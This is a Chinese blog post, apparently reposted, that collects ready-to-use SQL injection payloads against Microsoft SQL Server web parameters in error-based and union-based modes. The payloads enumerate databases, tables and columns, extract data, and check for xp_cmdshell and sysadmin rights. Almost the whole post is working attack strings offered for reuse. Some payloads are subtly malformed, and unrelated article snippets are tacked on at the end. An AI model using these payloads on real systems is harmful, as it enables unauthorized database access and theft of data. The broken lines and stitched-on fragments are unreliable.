Mssql显错和不显错模式下的注入

Title:Mssql显错和不显错模式下的注入 -- 2010-10-27 19:51

近期用手工注入用习惯了,便列出最近用的Mssql语句,以后方便拿来用!

-----------------------------------------------------------------------------------------------------------------------------------

Mssql注释符:

#

--

显错模式的:

判断是否支持多行

;declare @x int--

查看当前数据库版本

URL?id=13 and @@version>0--

查看当前连接数据库用户

URL?id=13 and user>0--

查看当前数据库名

URL?id=13 and db_name()>0--

爆数据库名

URL?id=13 and 1=convert(int,(select name from master.dbo.sysdatabases where dbid=7))--

//dbid<7的为系统库名

爆当前数据库表名

URL?id=13 and 1=convert(int,(select top 1 name from sysobjects where xtype=‘U‘))--

URL?id=13 and 1=convert(int,(select top 1 name from sysobjects where xtype=‘U‘ and name not in (‘表名1‘,‘表名2‘)))--

爆其他数据库表名

URL?id=13 and 1=convert(int,(select top 1 name from [数据库名]..sysobjects where xtype=‘u‘ ))--

URL?id=13 and 1=convert(int,(select top 1 name from [数据库名]..sysobjects where xtype=‘u‘ and name not in (‘表名1‘,‘表名2‘)))--

爆字段名

URL?id=13 having 1=1--

URL?id=13 group by 表名.字段名1,字段名2 having 1=1--

爆其他表的字段名

URL?id=13 select * from 表名 having 1=1--

URL?id=13 select * from 表名 group by 表名.字段名1,字段名2 having 1=1--

扩展一下

URL?id=13 and 1=convert(int,(select * from 表名 having 1=1))-- 字段名

URL?id=13 and 1=convert(int,(select * from 表名 group by 表名.字段名 having 1=1))-- 字段名

爆数据

URL?id=13 and 1=convert(int,(select top 1 字段名 from 表名))--

URL?id=13 and 1=convert(int,(select top 1 字段名 from 表名 where 字段名 not in (‘数据1‘,‘数据2‘))--

URL?id=13 and 1=convert(int,(select top1 字段名 from 表名 where 字段名!=‘数据1‘ and 字段名!=‘数据2‘--

//也可以用where语句

不显错模式

URL?id=13 order by 字段数

URL?id=13 and 1=2 union select ?,?,?,?,?--

查询数据库版本和系统版本

URL?id=13 and 1=2 union select ?,?,?,@@version--

查询数据库用户名

URL?id=13 and 1=2 union select ?,?,?,(select user)--

URL?id=13 and 1=2 union select ?,?,?,(select system_user)--

查询主机名

URL?id=13 and 1=2 union select ?,?,?,(select host_name())--

查询数据库名

URL?id=13 and 1=2 union select ?,?,?,(select db_name())--

判断存储扩展xp_cmdshell

URL?id=13 and 1=2 union select ?,?,?,(select count(*) from master.dbo.sysobjects where xtype=‘X‘ and name=‘xp_cmdshell‘)--

//1为存在,0为不存在

判断当前数据库用户权限

URL?id=13 and 1=2 union select ?,?,?,(select is_srvrolemember(‘sysadmin‘))--

查询数据库名

URL?id=13 and 1=2 union select ?,?,?(select name from master.dbo.sysdatabases where dbid=7)--

//dbid<7的为系统数据库名

查询数据库表名

URL?id=13 and 1=2 union select ?,?,?(select top 1 name from sysobjects where xtype=‘U‘)--

URL?id=13 and 1=2 union select ?,?,?(select top 1 name from sysobjects where xtype=‘U‘ and name not in (‘表名1‘,‘表名2‘))--

查询字段名

URL?id=13 and 1=2 union select ?,?,?(select top 1 name from 数据库名.dbo.syscolumns where id=object_id(‘表名‘)--

URL?id=13 and 1=2 union select ?,?,?(select top 1 name from 数据库名.dbo.syscolumns where id=object_id(‘表名‘) and name not in(‘字段名1‘,‘字段名2‘)--

查询数据

URL?id=13 and 1=2 union select ?,?,?(select top 1 字段名 from 表名)--

URL?id=13 and 1=2 union select ?,?,?(select top 1 字段名 from 表名 where 字段名 not in (‘数据1‘,‘数据2‘)--

其他的语句

爆表名

URL?id=13 URL?id=13 and 1=2 union select ?,?,?(select top 1 name from sysobjects where xtype=‘u‘ and name not in(select top 0 name from sysobjects where xtype=‘u‘)) from sysobjects--

//接着查询表名(从0开始增加第二个top N的数字就可以遍历当前数据库表名了

爆其他数据库表名

URL?id=13 URL?id=13 and 1=2 union select ?,?,?(select top 1 name from [数据库名]..sysobjects where xtype=‘u‘ and name not in(select top 0 name from [数据库名]..sysobjects where xtype=‘u‘)

爆字段

URL?id=13 and 1=2 union select ?,?,?(select top 1 name from syscolumns where id in (select id from sysobjects where name=‘表名‘) and name not in (select top 2 name from syscolumns where id in (select id from sysobjects where name=‘表名‘))) from sysobjects--

//从0开始增加第二个top N的数字就可以遍历admin表的字段名了

查询数据

URL?id=13 URL?id=13 and 1=2 union select top 1 ?,?,字段名 from 表名 where name not in (select top 0 name from 表名)--

时间: 2024-07-30 15:11:57

Mssql显错和不显错模式下的注入的相关文章

当IDENTITY_INSERT设置为OFF时不能向表插入显示值。(源:MSSQLServer,错误码:544)

错误提示"事务和快照同步时提示:当IDENTITY_INSERT设置为OFF时不能向表插入显示值.(源:MSSQLServer,错误码:544)" 原因:在SQL2008同步时到SQL2008/SQL2005/SQL2014时有时由于发布配置不当(复制扩展属性=False) 当新增数据时同步会出现的错误: 解决方法1: 在发布服务器—选择发布项—属性(项目)—选中(表对象)—属性(复制扩展属性=True)如:图1所示, 然后重启SQL代理服务,启动快照快照(启动)如图: 解决方法2:在

MRC模式下声明property属性为strong可能不会报错

定位了项目的一个问题,居然与strong有关系.首先说明一下项目是MRC内存管理的.一个NSDictionary变量在赋值一段时间后再次访问就会出现EXC_BAD_ACCESS错误,打印日志看了一下地址没变但是内容已经看不到,估计是野指针了,显然内存管理出现问题了.看这个变量的定义,是加了strong属性的,说明对应的m文件是ARC内存管理的.再在Build Phase里看这个文件有没有加-fobjc-arc选项,居然没有,加上就好了. 对于这个问题,我想着Xcode应该会对MRC模式下使用st

IIS7部署报错 500.22错误 检查到这集成托管模式下不使用的ASP.NET配置

2014-08-08 公司的一个项目,环境为: .Net 4.0 + MVC3,部署在Windows Server 2003R2 IIS6.0上面运行正常, 迁移到新服务器Windows Server 2008R2,部署在 IIS7.0上, 应用程序池中,托管管道模式中选中了“集成”模式,如下图: 其他配置如下: 配置完成后,访问出错报错, 最后检查出了原因:该项目中的web.config配置文件不适合IIS7.0. 于是将应用程序池的管道模式选择为“经典”模式 再次访问一切正常. 问题的根本原

关于Mui严格模式下的报错解决方案

前言:作为一名程序员遇到Bug总是在所难免的,但是记住"不二过",今天在Vue开发中遇到了一个报错让我纠结了许久,找了许久, 报错的原因是使用了mui导入其js文件导致的. 报错信息如下: Uncaught TypeError: 'caller', 'callee', and 'arguments' properties may not be accessed on strict mode functions or the arguments objects for calls to

华为软肋渐显:分红神话背后员工持股模式残缺(应该利用中国的资本过剩优势)

华为模式的软肋在这里,任正非没告诉你的 本文来源于南风窗公众号 华为公司,现在已经成了中国经济乃至“政治经济”领域的最大热门之一.从公众到高层,一片叫好,改革开放以来,中国从未有一家公司享受过这样的“待遇”. 有人认为,华为是实体经济的代表,当其他IT企业都去做金融,唯有它坚守实业.所以,“华为热”代表了中国经济的一种“价值取向”. 不妨换个角度看问题.华为固然是一家一流企业,但也没有必要过度吹捧.外部需求下滑,内部经济放缓,华为亦无法在内外宏观经济形势走弱的过程中独善其身.它再次走到节点,需要

C++学习笔记36 模版的显式具体化和显式实例化

C++的模版有时候很可能无法处理某些类型. 例如: #include <iostream> using namespace std; class man{ private: string name; int data; public: man(string s,int i):name(s),data(i){ } void show()const{ cout<<"this name is "<<name<<" ,data=&quo

C++中函数模板,显式具体化,显式实例化:

函数模板 形如: template<typename T>  //没有分号 void func(T &a,T &b); 称为函数模板,其中,template和typename为关键字,typename可以用class来替代.T(可以用其他的名称)表示一种泛型,既可以表示int型,也可以表示double或其他类型,将它想象成C++里面的数据类型的集合. 也就是说: void func(T &a,T &b)= void func(int &a,int &am

Eclipse导入Web项目后代码不报错但项目报错(左上角有红叉)解决方案

在学习别人的项目时,导入Web项目到Eclipse中时代码不报错但项目报错(左上角有红叉).开发环境:J2EE5+JDK8,IDE使用Eclipse开发,代码文件没有任何报错,不管是java文件.jsp文件还是xml文件,总之项目下的任何文件都是正常的,没有任何报错提示,但是项目图标的左上角就是有红叉! 解决方案一:请检查build path中Libraries下的jar包是不是有报错提示. 解决方案二:请检查你的各处Java版本配置是否一致,体现在三个地方:build path中jre版本,J

scss文件报错处理 (报错信息Invalid CSS after &quot;v&quot;: expected 1 selector or at-rule, was &#39;var api = require)

error in ./src/assets/styles/app.scss Module build failed: @import "./reset.scss"; ^ Invalid CSS after "v": expected 1 selector or at-rule, was 'var api = require("' in /Users/aa/demo/new/src/assets/styles/app.scss (line 1, column